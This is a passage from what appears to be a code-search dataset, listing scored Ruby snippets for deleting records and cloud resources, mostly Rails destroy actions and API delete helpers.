resource[:name].split('/')\n nameserver = resource[:nameserver]\n nsupdate(\"server #{nameserver}\n update delete #{name}. #{type}\n send\")\n end", "title": "" }, { "docid": "9ddae3ff35a021fcc555e156333c0ab4", "score": "0.5809163", "text": "def delete_zuul(url_ext)\n req = NET::HTTP::Delete.new(url_ext, initheader = {'Content-Type' => 'application/json'})\n req.body = @payload \n response = Net::HTTP.new(@host, @port).start {|http| http.request(req) }\n puts \"Response #{reponse.code} #{response.message}\"\n\n serialized = response.body\n data = JSON.parse(serliazed)\n\n puts \" \"\n puts \"-- parsed DELETE response --\"\n\n puts \"authKey = #{data['authKey']}\"\n puts \"username = #{data['username']}\"\n puts \"userid = #{data['userId']}\"\n puts \"subscriptionId = #{data['subscriptionId']}\"\n puts \"roles = #{data['roles']}\"\n puts \"all data = #{data}\"\n\n puts \" \"\n\nend", "title": "" }, { "docid": "fc1651e82a91b37f75253f084352e7b2", "score": "0.5799745", "text": "def destroy\n @access_level.destroy\n\n respond_to do |format|\n format.html { redirect_to(access_levels_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5004867196d7d36900413eb816f4b7a0", "score": "0.5797976", "text": "def destroy\n @access_log = AccessLog.find(params[:id])\n @access_log.destroy\n\n respond_to do |format|\n format.html { redirect_to manager_access_logs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79a71daec4f17b3ec318c9efb5ffc2e4", "score": "0.5797624", "text": "def destroy\n authorize! :destroy, @db_cluster\n @db_cluster.destroy\n respond_to do |format|\n format.html { redirect_to db_clusters_url, notice: 'Database cluster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d0a1de847f6712fef81b99de8102c616", "score": "0.57967854", "text": "def do_delete_table\n converge_by(\"delete DynamoDB table #{new_resource.table_name}\") do\n dynamodb.delete_table(table_name: new_resource.table_name)\n end\nend", "title": "" }, { "docid": "43e07ed69e6fea9eaaea4ddd26a91dc8", "score": "0.5791885", "text": "def delete\n cloudformation(:delete)\n end", "title": "" }, { "docid": "21bcf701e23d695128c2c95f3fa9a8cf", "score": "0.5786454", "text": "def delete_ingress(namespace, ingress_name)\n if namespace_exists?(namespace) && object_exists?(namespace, \"ingress\", ingress_name)\n execute(\"kubectl delete ingress #{ingress_name} -n #{namespace}\")\n end\nend", "title": "" }, { "docid": "ad75ba92a30abdc973d9a3c82bc33cdf", "score": "0.57854533", "text": "def destroy\n @storage_entry.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8161f10d8b4da5abbf20d82ab9508bc3", "score": "0.5780869", "text": "def destroy\n @mosquitto_acl.destroy\n respond_to do |format|\n flash_message 'danger', 'Mosquitto acl was successfully destroyed.'\n\n format.html { redirect_to mosquitto_acls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a34bfda60c936db17c9b71af42d54ded", "score": "0.5777792", "text": "def delete\n # TODO: validate returned json fits schema\n @json = @interface.delete_by_id @json['id']\n end", "title": "" }, { "docid": "a606bae5979d97845ac8aacf4c0f8e3f", "score": "0.5776974", "text": "def destroy\n authorize @permission\n @permission.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "8a623281185707141682eba536f1bcde", "score": "0.5775372", "text": "def destroy\n @event_access.destroy\n respond_to do |format|\n format.html { redirect_to event_accesses_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.577469", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "3a0c81063662f7d581c597f2374caccd", "score": "0.5773869", "text": "def test_rules_remove\n @acl.allow!(nil, nil, ['privilege1', 'privilege2'])\n assert_equal false, @acl.allowed?\n assert_equal true, @acl.allowed?(nil, nil, 'privilege1')\n assert_equal true, @acl.allowed?(nil, nil, 'privilege2')\n\n @acl.remove_allow!(nil, nil, 'privilege1')\n assert_equal false, @acl.allowed?(nil, nil, 'privilege1')\n assert_equal true, @acl.allowed?(nil, nil, 'privilege2')\n end", "title": "" }, { "docid": "2cd1082e19bdb42071401da2295c896b", "score": "0.5762186", "text": "def destroy\n @link = Link.find(params[:id])\n authorize @link\n @link.destroy\n head :no_content\n end", "title": "" }, { "docid": "977e0c2cec5eaa37d4f932d607fb4195", "score": "0.5762068", "text": "def destroy\n @attraction.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.57611483", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "3decd3947d861fd482011f1cee40321d", "score": "0.5757115", "text": "def destroy\n __debug_route\n @list = destroy_records\n #manifest_item_authorize!(@list) # TODO: authorize :destroy\n post_response(:ok, @list, redirect: :back)\n rescue => error\n post_response(error, redirect: :back)\n end", "title": "" }, { "docid": "cbe63d64f637a73b21fcdb441004e4c9", "score": "0.5750548", "text": "def destroy\n @accesscontrol.destroy\n respond_to do |format|\n format.html { redirect_to accesscontrols_url, notice: 'Accesscontrol was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1b1eaa7184a0d812d77e279ec6dd4044", "score": "0.57487404", "text": "def destroy\n @aws_account.destroy\n respond_to do |format|\n format.html { redirect_to aws_accounts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7069a1fd020ef2d12102baf12e7ca360", "score": "0.57473767", "text": "def delete\n delete_cloudformation\n end", "title": "" }, { "docid": "b9ec212f62402c26e0f73d4d5a7d4eca", "score": "0.57410055", "text": "def _delete(path, isD2l = true, headers = {})\n headers[:content_type] = :json\n auth_uri = path\n auth_uri = create_authenticated_uri(path, 'DELETE') if isD2l == true\n RestClient.delete(auth_uri, headers)\nend", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.5739956", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "c2138bd525796933873e0b477e258379", "score": "0.5737415", "text": "def delete(name)\n response = Hashie::Mash.new(self.class.delete(\"/#{username}/#{name}.json\", :basic_auth => @auth))\n end", "title": "" } ]
1def764f75a75229294a61279e259e84
Gathers new results by executing the resource action
[ { "docid": "31d7965423acf3ffa612fee0e75b0e02", "score": "0.0", "text": "def execute\n ns = RSpecSystem::NodeSet.create\n\n result = ns.rcp(opts)\n { :success => result }\n end", "title": "" } ]
[ { "docid": "0fda700dd65ce72e22ff2eee0f3c5924", "score": "0.6776948", "text": "def execute\n results\n end", "title": "" }, { "docid": "0fda700dd65ce72e22ff2eee0f3c5924", "score": "0.6776948", "text": "def execute\n results\n end", "title": "" }, { "docid": "71d20fd7f8b67e7ee7fedfb75a5af166", "score": "0.65734607", "text": "def results\n end", "title": "" }, { "docid": "642a298e2f653fb96b9b3efb5d3ad6e8", "score": "0.65438086", "text": "def execute\n results = []\n page = 1\n loop do\n new_results = []\n new_results = fetch_page(page).select{ |result| result.id > last_twid}\n puts \"got #{new_results.size} new results for page #{page}\"\n break unless new_results.size > 0\n results.concat(new_results)\n page += 1\n end \n results.sort_by{|r|r.id}\n\n record_results(results)\n\n run_actions(results)\n\n self.update_attributes(\n :last_run => Time.now, \n :last_result_count => results.size, \n :last_twid => results.size > 0 ? results.first.id : last_twid,\n :total => total + results.size\n )\n end", "title": "" }, { "docid": "ea38ce57bf8148cfaf61f1033a1cd87d", "score": "0.6446593", "text": "def results\n end", "title": "" }, { "docid": "ea38ce57bf8148cfaf61f1033a1cd87d", "score": "0.6446593", "text": "def results\n end", "title": "" }, { "docid": "27c6128203172de7bdfbd625208102b5", "score": "0.64285415", "text": "def action_results\n []\n end", "title": "" }, { "docid": "b4be875a742dba037bbaed85f3e27ba2", "score": "0.6412953", "text": "def results\n end", "title": "" }, { "docid": "17dd944d993fe8fc02bfd3dbd14b7fd4", "score": "0.6312759", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = CreateActionResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "886b95747a6ac646c33c1ddbe18554bf", "score": "0.62393826", "text": "def mass_action\n @collection = ResultSet::Collection(Article, params[:ids])\n @new_status = Status.get(params[:status_id])\n visitor = ResultSet::ChangeStatusVisitor(@new_status)\n @results = @collection.accept(visitor)\nend", "title": "" }, { "docid": "02a930469038687c6b570c455f18ce8a", "score": "0.62144125", "text": "def results\n run_data\n end", "title": "" }, { "docid": "98b2e4868fc3cf550932a84b61da7f75", "score": "0.616998", "text": "def execute(resource, goal, mikyung)\n @results.each do |result|\n Restfulie::Common::Logger.logger.info(\"will '#{result.description}'\")\n return result.execute(resource, goal, mikyung)\n end\n end", "title": "" }, { "docid": "f7b28a52d489ae7f81f9d09590a501fb", "score": "0.61634994", "text": "def results\n require_run\n @results\n end", "title": "" }, { "docid": "31d228f14e4ba8aa50ba976580c819a4", "score": "0.60660315", "text": "def perform\n\n r = validate\n return r unless r.success?\n\n fetch_records\n\n api_response\n\n end", "title": "" }, { "docid": "34a088a01ce2113a9dad837914e350be", "score": "0.6055685", "text": "def gather_results( result )\n\n\tend", "title": "" }, { "docid": "150d3cb430f6e51627e6d26860cb51ec", "score": "0.6054569", "text": "def results; end", "title": "" }, { "docid": "150d3cb430f6e51627e6d26860cb51ec", "score": "0.6054569", "text": "def results; end", "title": "" }, { "docid": "150d3cb430f6e51627e6d26860cb51ec", "score": "0.6054569", "text": "def results; end", "title": "" }, { "docid": "2e58c487076e08ee7ad155a3c57b59a4", "score": "0.6039946", "text": "def fetch_results\n @results = []\n fetch_task_results\n fetch_project_results\n @results\n end", "title": "" }, { "docid": "a59ea5cfebb744401b8561243998de14", "score": "0.60337484", "text": "def execute()\n # Retrieve the entry using the ArsModels form setup the first time this\n # handler is executed. Use the :single option because there should only be\n # one entry returned, if more than one is found this function call will raise\n # an exception. Use :fields => :all to retrieve all of the fields.\n\t\n\t@field_values = {}\n\t@field_values['Status'] = \"Cancelled\"\n\tsubmission = retrieve_submission(@parameters['Alternate ID'], [])\n\n\t# Update customer survey base entry and specify the fields we want to return\n submission.update_attributes!(@field_values)\n\t\n # Build the results xml that will be returned by this handler.\n results = <<-RESULTS\n <results>\n <result name=\"UpdatedRecord\">#{escape(submission.id)}</result>\n </results>\n RESULTS\n puts(\"Results: \\n#{results}\") if @debug_logging_enabled\n\n # Return the results String\n return results\n end", "title": "" }, { "docid": "a2ee20081507a0d70b3b127545209f19", "score": "0.60173863", "text": "def execute\n check_token! do\n case @action\n when :new\n fetch\n when :refetch\n vendor_process\n update_current_record\n @record.set_timeout_worker\n end\n end\n end", "title": "" }, { "docid": "bb0dde9e36a4871c2a1074b222f6d3c7", "score": "0.60030395", "text": "def execute\n @xml = @client.send(:fetch, execute_action, parsed_search_options)\n @results = DNZ::Results.new(@xml, self)\n\n self\n end", "title": "" }, { "docid": "b0af331aef465e5f257a3223cce8e5de", "score": "0.5998611", "text": "def store_result()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "04486efd3eefc68f700419fbb9ac3d1c", "score": "0.5951992", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActionResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "cd9abe9b644e7e14a2b4012ba9ec3db3", "score": "0.59433705", "text": "def process\n self.results = []\n self.errors = []\n\n # Get request method and action.\n raise error(101, \"Missing method.\") unless method = parse_arg(:method)\n raise error(102, \"Missing action.\") unless action = parse_arg(:action)\n method = method.to_s.downcase.to_sym\n action = action.to_s.downcase.to_sym\n if !respond_to?(\"#{method}_#{action}\")\n raise error(101, \"#{method.to_s.upcase} method not available for #{action}.\")\n end\n\n # Converts :species_list to \"species_lists\" and the class SpeciesList.\n self.table = action.to_s.pluralize\n self.model = action.to_s.camelize.constantize\n\n # Which mode are we running in?\n # safe - Trusted or admin mode.\n # user - User making request.\n # time - Time request was made.\n if self.safe = parse_boolean(:_safe)\n self.user = User.safe_find(parse_integer(:_user))\n self.time = parse_time(:_time)\n else\n self.safe = parse_boolean(:auth_admin) if user && user.admin\n self.user = authenticate(method != :get)\n self.time = Time.now\n end\n User.current = user\n\n # Process specific method.\n send(\"process_#{method}\")\n [results, errors]\n\n rescue => e\n errors << convert_error(e, 501, e.to_s, true)\n [results, errors]\n end", "title": "" }, { "docid": "47a25619c602a74b75fa8c4ba2c81c43", "score": "0.594162", "text": "def call(resource)\n Result.new(self, resource)\n end", "title": "" }, { "docid": "8669adad61193684e48b80341335554c", "score": "0.5932219", "text": "def run\n super\n\n results_json = get_zoomeye_results\n _log_error 'Unable to obtain results from API call; aborting.' if results_json.nil?\n return if results_json.nil?\n\n results = parse_results(results_json)\n return if results.empty?\n\n _create_result_entities(results)\n end", "title": "" }, { "docid": "2482b3f640f517edb369cc9fa100e094", "score": "0.5931482", "text": "def index\n @customer_job_action_results = CustomerJobActionResults.all\n end", "title": "" }, { "docid": "2e7367c842dfcabec86677e6264e58a1", "score": "0.59158564", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = CreateWatchResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "236c6cff8c8141dda957226d9ee48e2a", "score": "0.59105414", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = CreateWantsToWatchResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "068ba6bdf21d05936abb2dddaaf19a06", "score": "0.59087014", "text": "def refresh\n @results = nil\n results\n end", "title": "" }, { "docid": "35586dd8320425930322d42aa800b643", "score": "0.5882383", "text": "def set_result\n @result = Monitoring::Result.find(params[:id])\n end", "title": "" }, { "docid": "63e85944b5bf48885fc9ef24348f2bdb", "score": "0.5872336", "text": "def index\n @result_items = ResultItem.all\n end", "title": "" }, { "docid": "d0229bd8e36337f2d5879257540c3858", "score": "0.58467704", "text": "def results\n materialize(true)\n @results\n end", "title": "" }, { "docid": "899599b68efe4780dc7bd2a1673caab4", "score": "0.5830759", "text": "def populate_additional_results\n end", "title": "" }, { "docid": "84c5c703036cfb1f2fcf69a8c21b9c2a", "score": "0.58206964", "text": "def post_execute\n content = {}\n content['result'] = @datastore['result']\n save content\n end", "title": "" }, { "docid": "2fcb0eeefca1e0da528911a5a594f6bf", "score": "0.58132845", "text": "def result\n @results = Asset.search(params[:q])\n end", "title": "" }, { "docid": "7cde32ef98436aa8d174927ef5b01c2b", "score": "0.5812033", "text": "def index\n @query_results = QueryResult.all\n end", "title": "" }, { "docid": "581b220098b8079492681277bd699339", "score": "0.5803924", "text": "def process_results\n\t\t@plays = Play.where(:status => \"Open\")\n\t\t@plays.each do |play|\n\t\t\tplay.update_result\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.html {redirect_to root_url :notice => 'Plays have been processed and standings updated'}\n\t\tend\n\tend", "title": "" }, { "docid": "60d18efea2d4f3676c2ca2f0eab0ff31", "score": "0.5799459", "text": "def perform\n\n\tend", "title": "" }, { "docid": "ee902ea04372639ac49aab6d769b07e5", "score": "0.57866204", "text": "def results\n show\n end", "title": "" }, { "docid": "470d8268541a8e1b85ddf484fa90cd9c", "score": "0.5785703", "text": "def index\n\t\t@results = Result.all\n\tend", "title": "" }, { "docid": "10ea6dc3457ee20ead7846b603d2afd0", "score": "0.5773919", "text": "def use_result\n store_result\n end", "title": "" }, { "docid": "097fa3b0425594191e61d28759ddd366", "score": "0.57738495", "text": "def list_results\n # Interface method\n end", "title": "" }, { "docid": "462153d7079501a5a4af7685832f84ac", "score": "0.576769", "text": "def process(results)\n results\n end", "title": "" }, { "docid": "462153d7079501a5a4af7685832f84ac", "score": "0.576769", "text": "def process(results)\n results\n end", "title": "" }, { "docid": "f163e1a8a662cd2d835abd3d3cef5982", "score": "0.57643354", "text": "def result\n end", "title": "" }, { "docid": "038c712d4259ce4fb7d76ec007e9a96f", "score": "0.57601684", "text": "def process_result_list\n user = current_user\n event = Event.find(params[:id])\n authorize event, :update?\n\n # Strategy:\n # 1. Extract event, and update database if necessary\n # 2. Extract courses, and update database if necessary\n # 3. Extract results, and update database if necessary\n doc = Nokogiri::XML(request.body.read)\n\n results = {}\n results.default = []\n\n if(params[:iof_version] == '3.0') then\n doc.css('ClassResult').each do |course|\n course_results = []\n course_class = course.at_css('Class')\n course_id = course_class['idref'].to_i\n if course_id == 0 then\n course_id = course_class.at_css('Id[type=WhyJustRun]')&.content.to_i\n end\n if course_id == 0 then\n raise ActionController::BadRequest.new(\"Invalid course ID\")\n end\n course.xpath(\"*[name()='PersonResult']\").each do |result|\n start_time = result.at_css('Result > StartTime')&.content\n end_time = result.at_css('Result > EndTime')&.content\n time_node = result.at_css('Result > Time')\n person_id_node = result.at_css('Person > Id')\n user_id = nil\n unless person_id_node.nil? then\n user_id = person_id_node.content.to_i\n end\n unless time_node.nil? then\n time = time_node.content\n end\n status_node = result.at_css('Result > Status')\n unless status_node.nil? then\n status = status_node.content\n end\n if status.blank? then\n status = \"OK\"\n end\n unless time.blank? then\n time_seconds = time.to_i.seconds\n end\n unless start_time.blank? or end_time.blank? then\n time_seconds = (Time.parse(end_time) - Time.parse(start_time)).seconds\n end\n logger.info \"Added course result. User: #{user_id} Course: #{course_id}\"\n course_results << {\n :name => result.at_css('Person > Name > Given').content + \" \" + result.at_css('Person > Name > Family').content,\n :id => user_id,\n :time_seconds => time_seconds,\n :status => status\n }\n results[course_id] = course_results\n end\n end\n else\n raise ActionController::RoutingError.new('Not Found')\n end\n\n event.results_posted = 1\n event.save\n\n event.courses.each { |course|\n existing_results = course.results\n matched_existing_results = []\n results[course.id].each { |result|\n matched = false\n # Try to match up results - could have a better algorithm that isn't O(n^2)\n existing_results.each { |existing_result|\n\n if(existing_result.user.id == result[:id]) then\n matched = true\n elsif(result[:id].blank? and not result[:name].blank? and existing_result.user.name == result[:name]) then\n matched = true\n end\n\n if matched then\n existing_result.iof_status = result[:status]\n existing_result.time_seconds = result[:time_seconds]\n existing_result.save\n matched_existing_results << existing_result\n break\n end\n }\n\n unless matched then\n # create a new result if it isn't already in the database..\n if result[:id].blank? then\n matches = User.where(:name => result[:name]).all\n if(matches.length == 1) then\n new_result = Result.create(:user_id => matches.first.id, :time_seconds => result[:time_seconds], :course_id => course.id)\n new_result.save\n elsif(matches.length > 1)\n # don't insert if there are more than one possible people..\n render :status => :bad_request\n return\n else\n # create new user\n new_result = Result.create(:time_seconds => result[:time_seconds], :course_id => course.id)\n user = User.create(:name => result[:name])\n new_result.user_id = user.id\n new_result.save\n end\n else\n new_result = Result.create(:user_id => result[:id], :time_seconds => result[:time_seconds], :course_id => course.id)\n new_result.save\n end\n end\n }\n\n results_to_delete = existing_results - matched_existing_results\n results_to_delete.each { |r|\n logger.info \"Deleted result: #{r.id}\"\n Result.destroy(r.id)\n }\n }\n\n respond_to do |format|\n format.xml { render :layout => false }\n end\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "34eae1d99d8d77626ad7cfca135092f2", "score": "0.5759835", "text": "def index\n @results = Result.all\n end", "title": "" }, { "docid": "8565966ed3fa8f38ddb58e72febed6b2", "score": "0.5754843", "text": "def action_run\n tags = @new_resource.recipients_tags\n attributes = { :remote_recipe => { :tags => tags,\n :from => RightScale::MapperProxy.instance.identity } }\n attributes.merge!(@new_resource.attributes) if @new_resource.attributes\n options = { :recipe => @new_resource.recipe, :json => attributes.to_json }\n @new_resource.recipients.each do |target|\n RightScale::RequestForwarder.push('/instance_scheduler/execute',\n options, \n :target => target)\n end if @new_resource.recipients\n if tags && !tags.empty?\n selector = (@new_resource.scope == :single ? :least_loaded : :all)\n RightScale::RequestForwarder.push('/instance_scheduler/execute', options,\n :tags => tags, :selector => selector)\n end\n true\n end", "title": "" }, { "docid": "faa163e5abe2f31ab02dc73a9f36d13c", "score": "0.57531923", "text": "def results\n super.map { |record| Mavenlink::Model.models[record.collection_name].wrap(record, client, scope) }\n end", "title": "" }, { "docid": "52aba422f8fcfd917b4671eb8b1892c9", "score": "0.5746261", "text": "def show_data\n @results = params[:results]\n end", "title": "" }, { "docid": "208bae626708fcd26900bd5ae267a2a7", "score": "0.5744295", "text": "def begin\n @subtask = Subtask.find(params[:subtask_id])\n @subtask.results << (Result.new(current_user))\n @result = @subtask.results.where(:user_id => current_user).first\n render \"showc\"\n end", "title": "" }, { "docid": "1adb38f8ca6247f18d4e743ef19bf05f", "score": "0.57414913", "text": "def results(query); end", "title": "" }, { "docid": "8a595c43bdb54f97d1438ea612596b34", "score": "0.57361937", "text": "def new_results\n @new_results ||= find_new_results\n end", "title": "" }, { "docid": "568b3c172d32bcf077b3d9097f67bc0b", "score": "0.5732957", "text": "def results\n @batch.results\n end", "title": "" }, { "docid": "b089db12c1d787d2f07804530a47b335", "score": "0.573265", "text": "def execute()\n # Retrieve the entry using the ArsModels form setup the first time this\n # handler is executed. Use the :single option because there should only be\n # one entry returned, if more than one is found this function call will raise\n # an exception. Use :fields => :all to retrieve all of the fields.\n\t\n\n entry = @@remedy_forms['AP:Role'].find_entries(\n :single, \n :conditions => [%`'Role Name' = \"#{@parameters['role_name']}\" AND 'Status' = \"Active\"`],\n :fields => ['If Multiple Approvers','Member List']\n )\n \n # Raise an exception if no record was found.\n if entry.nil?\n raise(\"There was no active role record with the name: #{@parameters['role_name']}\")\n end\n\n\tif entry['If Multiple Approvers'].nil?\n\t\tifmult = \"None\"\n\telse\n\t\tifmult = entry['If Multiple Approvers'].value\n\tend\n\t\n\txml = '<userIds>'\n\n\tapprs = entry['Member List'].split(\";\")\n\tapprs.each do |appr|\n\t\tif (appr != \"\")\n\t\t\txml << '<userId>'+ appr +'</userId>'\n\t\tend\n\tend\n\t\t\n\n \n\txml << '</userIds>'\n\t\n # Return the results\n <<-RESULTS\n <results>\n <result name=\"userIdList\">#{escape(xml)}</result>\n\t <result name=\"ifMultiple\">#{escape(ifmult)}</result>\n </results>\n RESULTS\n end", "title": "" }, { "docid": "1f38545ca370d420f26f463aae52a865", "score": "0.5729533", "text": "def resource_updated(resource, action)\n @steps << \"Executing #{action} on #{resource} updated\"\n @run_object[:resources] << {\"cookbook\" => \"#{resource.cookbook_name}\", \"recipe\" => \"#{resource.recipe_name}\", \"status\" => \"updated\"}\n end", "title": "" }, { "docid": "b2c28d7e5dff51fc2b09cc33a35d7f74", "score": "0.5729139", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = AddToWatchListResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "56a53168bf395304a5349a2f89d5be02", "score": "0.5727304", "text": "def process\n return unless json?\n\n controller.add_headers(headers)\n controller.render_json(\n model.decorate(resource),\n status\n )\n end", "title": "" }, { "docid": "032d1580824c31fb9c7a9df2ce881daa", "score": "0.5723243", "text": "def action_chain_results\n @action_chain_results\n end", "title": "" }, { "docid": "c1203e9865e6fd8e2c87dc3a33b4d541", "score": "0.5720458", "text": "def display_results\n end", "title": "" }, { "docid": "1dba8003616c487d271cf5816f5fb6ff", "score": "0.571472", "text": "def get_results\n @results\n end", "title": "" }, { "docid": "ceaa182a72846261a3d3ef2e3adc5786", "score": "0.5706192", "text": "def call\n return if @actions.empty?\n\n body = @actions.join(\"\\n\") + \"\\n\"\n client.multi_search(body, @params)\n ensure\n @actions.clear\n end", "title": "" }, { "docid": "815cb924ee43adeb77b80f6bf85db383", "score": "0.5701958", "text": "def set_result\n # @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "d2aaa5ddced55113ce86f7e102467d8e", "score": "0.56976974", "text": "def perform\n @response = Configuration.client.get(self.url + self.params, self.to_json)\n if @response.failure?\n STDERR.puts \"[REQUEST FAILED] #{self.to_curl}\\n\"\n raise SearchRequestFailed, @response.to_s\n end\n @json = MultiJson.decode(@response.body)\n @results = @json['responses'].map {|response| Results::Collection.new(response, @options)}\n return self\n ensure\n logged\n end", "title": "" }, { "docid": "f657d5beff7340f6b148b7159fb7a8d4", "score": "0.5697201", "text": "def set_result\n\t\t@result = Result.find(params[:id])\n\tend", "title": "" }, { "docid": "5dcada835dd4f5661948bcc1afb69b1f", "score": "0.5687024", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ReadActionsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "ac4a80ac8c2359ed75d2a017fd548b26", "score": "0.5686492", "text": "def perform\n end", "title": "" }, { "docid": "ac4a80ac8c2359ed75d2a017fd548b26", "score": "0.5686492", "text": "def perform\n end", "title": "" }, { "docid": "e881f751decb7b3c66a4efc6b9c42c2d", "score": "0.56851906", "text": "def set_result\n # @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "4b0cc9d0c69f71f5e135a0e8e9fa517b", "score": "0.5683174", "text": "def retrieve_results\n results_hydra = Typhoeus::Hydra.new\n @scans.each do |id, s|\n results_hydra.queue(s.retrieve_results)\n end\n results_hydra.run\n end", "title": "" }, { "docid": "709e6ce4bb36b8d19147e7148b61a339", "score": "0.5680584", "text": "def index\n @searches = SearchService.call(search_params)\n @inserted_data = search_params\n end", "title": "" }, { "docid": "e64139a3a43b35ae1e1c120b51433c08", "score": "0.56795055", "text": "def results\n filter = params[:filter] || {}\n limit = params[:limit] || false\n offset = params[:offset] || false\n\n @total = base.refine(filter)\n @refined = @total.limit(limit) if limit\n @refined = @refined.offset(offset) if offset\n @results = @refined.to_a\n\n @count = @total.count\n\n respond_to do |format|\n format.html { render @results, :layout => false }\n format.json { render :json => @results }\n end\n end", "title": "" }, { "docid": "d76e2416c9f2ac511b325ccc152de5c7", "score": "0.5678052", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateWantsToWatchResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" }, { "docid": "79ed8a0db80ad60d91b0150e5b34536f", "score": "0.56738585", "text": "def set_result\n @result = Result.find(params[:id])\n end", "title": "" } ]
70227da9ced9355f56676faf7fb4f0ba
function for creating master histogram
